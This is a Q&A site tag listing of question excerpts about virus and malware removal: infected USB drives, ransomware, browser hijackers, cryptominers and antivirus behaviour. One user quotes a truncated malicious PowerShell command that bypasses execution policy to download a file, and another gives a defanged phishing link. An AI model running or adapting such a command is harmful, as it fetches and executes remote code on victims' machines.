Questions tagged [virus-removal]

The process of removing a virus or malware from a system.

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63 views

What kind of virus this website have? [closed]

I found website https://coronavirus-map.com and send it to a friend, then he said this website have a virus because his antivirus detect this website like virus. I didn't know that websites can have ...
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1answer
60 views

Formatting potentially infected USB stick before plugging it into trusted devices

As stated in the title - is formatting my own USB stick on a separate computer with live-Ubuntu enough to prevent malware infection? I work as computer technician and sometimes my pendrives must be ...
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2answers
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How to remove quarantined virus securely?

There is a file found by antivirus program and it was put into the virus' quarantine section (its not a false positive). Now I don't know how to handle this "quarantined" files. What is the best ...
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1answer
152 views

Would my USB interface be infected if I attached and immediately detached an infected USB device?

Two days ago, someone gave me their pen drive to copy some songs from. As soon as I inserted the drive into my laptop's USB interface, Windows Defender immediately warned me that the drive was ...
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37 views

ProPDFConverter virus removal help [duplicate]

So, I foolishley managed to get my computer infected with a browser hijacker called ProPDFConverter, which devious web site or extension that has big resemblance to legitimate search engine based ...
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28 views

My PC opens command line and tries to download some virus [duplicate]

I have some weird virus. During school today it opened my command line and typed this stuff in: cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://...
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29 views

How to remove a very stealthy virus? [duplicate]

I have a virus on my laptop preventing me from installing antivirus, or updating windows or even opening task manager. i tried running a virus scanner from a portable scanners, the virus disappears ...
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3answers
106 views

Is it safe to backup programming projects from a possibly infected computer?

Is is safe to backup programming projects (for example websites that where made using HTML/CSS/JS with the help of some frameworks and libraries (Bootstrap, jQuery, etc.), C# projects made with the ....
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1answer
674 views

Undetected Trojan: what type of Scheduled task is this?

on a computer I received an email with a web link inside that shows the following address: hxxps://myprimeedu.com/certificato/f0uq1-17relk-aW5mb2NlcmJvbmVhbGx1bWluaW9AcGVjLml0-y8ym71-wowuq-2rpvmx/...
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1answer
168 views

Can an ISO file harm my computer without being executed by me?

This is very related to this question: What damage can a malicious .iso file cause without explicitly executing it? An ISO file got downloaded to my desktop. I immediatly tried to delete it, but when ...
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83 views

What is this NAT rule forwarding UDP port 1052?

I just went to have a look through some router settings today and found an unknown new entry in the NAT table, forwarding UDP port 1052 to the same port on a host which runs both Windows 7 and Linux. ...
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3answers
362 views

Should I be worried about old viruses from a hard drive that hasn't been used in the last 13 years?

I recently built a new PC with windows 10 and I was recovering some pictures from an old hard drive that I had in one of my PCs from about 13 - 15 years ago. The hard drive has just been sitting in a ...
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.[fileslocker@pm.me] virus [duplicate]

I have one PC (Windows 7) which is attacked presumably by a ransomware (in spite of having regularly updated antivirus viz Net Protector AV). What I could see is this -- In MySQL/bin folder, all files ...
4
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1answer
349 views

How can I recover my exploited android phone?

I have a Samsung S9 phone that has been exploited by my neighbor, however I am unsure as to how to prove/verify it, how in depth the access is to my phone, or how I can re-secure my phone. It seems ...
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2answers
174 views

Is Kaspersky Total Security a good choice against malware? [closed]

I've been using Kaspersky Total Security for quite some time even though I'm not an Information Security professional, I heard it was considerably efficient. Yesterday, though, I was navigating ...
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2answers
162 views

Could my computer have downloaded some sort of virus or malware after clicking this button?

I went to the website: katsokos.com, and was shown this page: I stupidly clicked on the verification button and was redirected to the chrome store page for some chrome plugin, as well as the website ...
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1answer
2k views

Filezilla for mac OS - Virus?

I hope this is the correct stack to post this. So I'm trying to download FileZilla for my macbook and I have McAfee installed, when I click in the download button, the antivirus flags it as Artemis!...
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263 views

Computer Virus detection decidability proof [closed]

Is there a way to prove that detecting computer virus is decidable, the prove may be theoretical also
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1answer
111 views

Android antivirus apps

Is it necessary to have an internet connection to run and properly scan an android device for viruses or malware using an anti-virus app? How an anti-virus app scan an android device for infected ...
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1answer
334 views

SSD Wipe to remove known & unknown malware [duplicate]

Does anyone know of a method to wipe a HDD that gives a high degree of confidence that any malware present will not persist when the OS is reinstalled? Using tools on Linux and/or Windows? We have ...
2
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1answer
91 views

How Do antiviruses decide whether a file is to be quarantined or not?

Situation: Trying to understand how an antivirus works. So when an antivirus finds a file with a hash value matching their database, it reports it as an infected file and would quarantine it. Problem:...
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1answer
50 views

functioning ( behavioural based ) of an antivirus [closed]

I know how signatures are used to detect malware samples of already known malware and techniques to apply to use. 1.What are some of the different behavioral techniques used by antivirus/anti-malware ...
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1answer
186 views

I May have a Virus. What Can I Do? [duplicate]

So recently, I was Googling for images so that I can run Cisco router images on GNS3. I know I shouldn't be looking for images and I will now stop. I came a across a site and I believe it gave me a ...
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2answers
100 views

How to safely reformat? [duplicate]

Spyhunter has found an infection on my computer and I need to reformat, evidently. The main question I have is how can I safely reinstall Windows with all Windows updates safely? I suspect that each ...
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4answers
513 views

How to know if virus alert is false positive?

I received alerts (email & browser injection) from my ISP about a Zbot infection behind my modem. I ran Microsoft's malicious software removal tool, as well as AVG's Zbot remover on both my ...
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53 views

Possible EternalBlue Infection, Next Step? [duplicate]

Sorry if I messed up in any manner, e.g. title, details, tags, layout, venue, response plan, etc. I know a little of the stacks and security in general. Short Version: I found material on my other ...
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1answer
83 views

How to search for malicious software added after a recent date

I recently gave my laptop to Apple for repair, and they required my admin password. Of course I supplied a temporary password, but they still had access to the admin account. I trust Apple, but I'm ...
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1answer
112 views

I keep getting a popup that disappears as soon as it shows up which may be a virus

OK SO basically I got an email from a "FEDEX agent" that I idiotically opened on a school computer (my teacher disconnected and fixed the computer thankfully, and was nice about it, it's just that I ...
3
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3answers
955 views

Problems with Chrome, Skype and Discord - possible MITM attack? [duplicate]

Two days ago everything was working just fine, but then I got this error in Google Chrome: Your connection is not private. www.youtube.com might attempt to steal your personal information. At the ...
4
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2answers
274 views

What is the best way to screen potentially compromised USB or flash devices?

I've got some flash devices. It is a bit like playing Russian roulette. The devices are of unknown origin containing information of unknown value. However, the potential value is great enough to be ...
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2answers
163 views

Different virus types of testing on a Windows VM [closed]

I am a masters student in computer science, and I need to do a project with virtual machine (host and guest both are Windows 10). The project is: Describe and experiment different methods to clean ...
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2answers
879 views

Can HDD without OS contain active virus

I bought a Free-dos computer with 128gb SSD and 1 TB HDD some time ago, installed Windows 10 on the SSD. After months of usage by many people, I question the security of the computer, I see sudden cpu,...
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1answer
1k views

File signature vs Virus signature

I have thought of creating simple anti-virus. I have read some article and they said that the there is a two way of detection. The virus dictionary signature searching is the one method. So I have ...
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541 views

What do “Mac Ads Cleaner” and “Mac App Cleaner” do while installed? [closed]

Recently I responded to a suggestion that I "upgrade Flash" on my macOS system only do end up with several applications running, and intruding into my browser and desktop that I did not (mean to) ...
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1answer
233 views

Hosting send virus errors could not get rid of this

I have a wordpress website and hostgator keeps on sending this information → During a scan of our servers we identified malicious content in accounts under your control. We have quarantined the ...
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1answer
3k views

Can you recognize this virus?

Yesterday i noticed a folder with a strange name, it looked like this from the inside: I was cautions not open any of the files, but i opened the .sql in a text-editor, to realize it's not SQL but ...
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1answer
189 views

Locking down Ubuntu

A competition is coming up at my school for securing computers and my OS for this challenge is Ubuntu. I'm trying to think of things to add to my list of security measures and things to look out for. ...
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1answer
94 views

Is the Android Application Manager Infallible? [closed]

When the Android Application Manager reports that an app has been uninstalled, or an app does not or no longer appears in the Application Manager list under any category (installed, running, etc.), is ...
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1answer
1k views

my server got hacked and I only got to find the cronjob command [duplicate]

I installed Clamav and rootkits detectors and they found nothing. The virus run a few process named modules that eating cpu, my server vendor told me that it is bitcoin miner virus but they didn't ...
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2answers
591 views

Shared hosting is hacked [duplicate]

My shared hosting with GoDaddy was hacked by injecting a PHP file (deade6.php) that is recreated every time I delete it. I also tried to modify the .htaccess but it gets recreated as follows: <...
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How to get rid of youndoo? [duplicate]

Lately my computer was infected with an adware called youndoo , this opens a search page every time I open a browser , tried resetting the browsers and used a malware remover , but didn't work , how ...
173
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10answers
27k views

Help! My home PC has been infected by a virus! What do I do now?

This is an attempt to ask a canonical question as discussed in this old meta post. The goal is to create something helpful that can be used as a duplicate when non experts ask about virus infections. ...
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2answers
772 views

Is it safe to use a computer for banking etc after you have removed a virus from it? [duplicate]

So one of my laptops had a virus recently. I managed to remove it by running my computer in safe mode and then running my Antivirus software (norton). My laptop appears on be running fine now. ...
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1answer
5k views

Prevent external hard disk drive from infection

Will partition of my hard drive help me to protect my essential files? I want to divide my 1 TB Hard disk drive into 4 partitions and store my files accordingly. For example I am keeping my movies in ...
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1answer
115 views

Where can I get more info about these viruses?

I've been using Airtel 3G Dongle (Data Card) on Windows and ClamWin has detected the following viruses in the dialer software of Airtel: C:\Program Files\airtel\TCPOptimizer.exe: Win.Trojan.Swrort-...
6
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3answers
28k views

How can I kill minerd malware on an AWS EC2 instance? [duplicate]

I have an AWS EC2 instance running RHEL 7.2 which seems to have been hacked by a BitCoin CPU Miner. When I run ps -eo pcpu,args --sort=-%cpu | head, it shows that there is a CPU miner that's taking up ...
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4answers
314 views

Virus Infected: unable to open anti-virus web sites?

Recently I installed KMSPico, after that many unwanted softwares were installed on my system, later I uninstalled all of them and removed related folders. But strangely from my system I couldn’t open ...
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1answer
159 views

Tencent/Safefinder Identify and remove malware [duplicate]

I wasn't paying attention when downloading some apps today and have successfully installed some malware on my PC. I had Safefinder installed and I am currently removing its components and running ...
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2answers
1k views

Detecting Process Hollowing

I was brainstorming methods of detecting process hollowing and other forms of code injection, and this one seemed pretty robust. Would it be possible for a "process hollowing scanner" to enumerate ...
3
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1answer
2k views

Is my network affected by malware?

I am using Wi-Fi at my home, so I can connect more devices like my phone and computer in the same network. For the past two months, whatever website I visit, it loads for a long time and at the end it ...